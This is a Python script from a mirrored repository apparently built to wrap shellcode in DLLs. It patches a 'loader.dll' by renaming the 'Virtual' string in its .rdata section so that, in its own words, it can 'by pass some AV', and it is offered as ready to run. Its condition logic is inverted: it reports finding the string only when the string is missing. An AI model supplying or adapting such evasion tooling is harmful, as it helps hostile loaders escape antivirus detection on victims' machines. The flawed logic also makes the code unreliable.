mirror of
https://github.com/restkhz/ShellcodeEncrypt2DLL
synced 2026-06-06 16:34:37 +00:00
restkhz
36 lines
963 B
Python
36 lines
963 B
Python
import pefile
|
|
|
|
# Replace string "Virtual" in .rdata section to by pass some AV
|
|
# just run python patch.py
|
|
|
|
old_str = b"Virtual"
|
|
new_str = b"Blahbla"
|
|
|
|
pe = pefile.PE("loader.dll")
|
|
|
|
rdata_found = False
|
|
for section in pe.sections:
|
|
section_name = section.Name.rstrip(b'\x00')
|
|
if section_name == b'.rdata':
|
|
rdata_found = True
|
|
print("[+] .rdata section found")
|
|
data = section.get_data()
|
|
|
|
if old_str not in data:
|
|
print("[+] Found string 'Virtual'")
|
|
else:
|
|
new_data = data.replace(old_str, new_str)
|
|
raw_offset = section.PointerToRawData
|
|
pe.__data__ = pe.__data__[:raw_offset] + new_data + pe.__data__[raw_offset + len(new_data):]
|
|
print("[+] Done!")
|
|
break
|
|
|
|
if not rdata_found:
|
|
print("[-] .rdata not found")
|
|
|
|
output_filename = "loader_patched.dll"
|
|
with open(output_filename, "wb") as f:
|
|
f.write(pe.__data__)
|
|
|
|
print(f"[+] Saved to {output_filename}")
|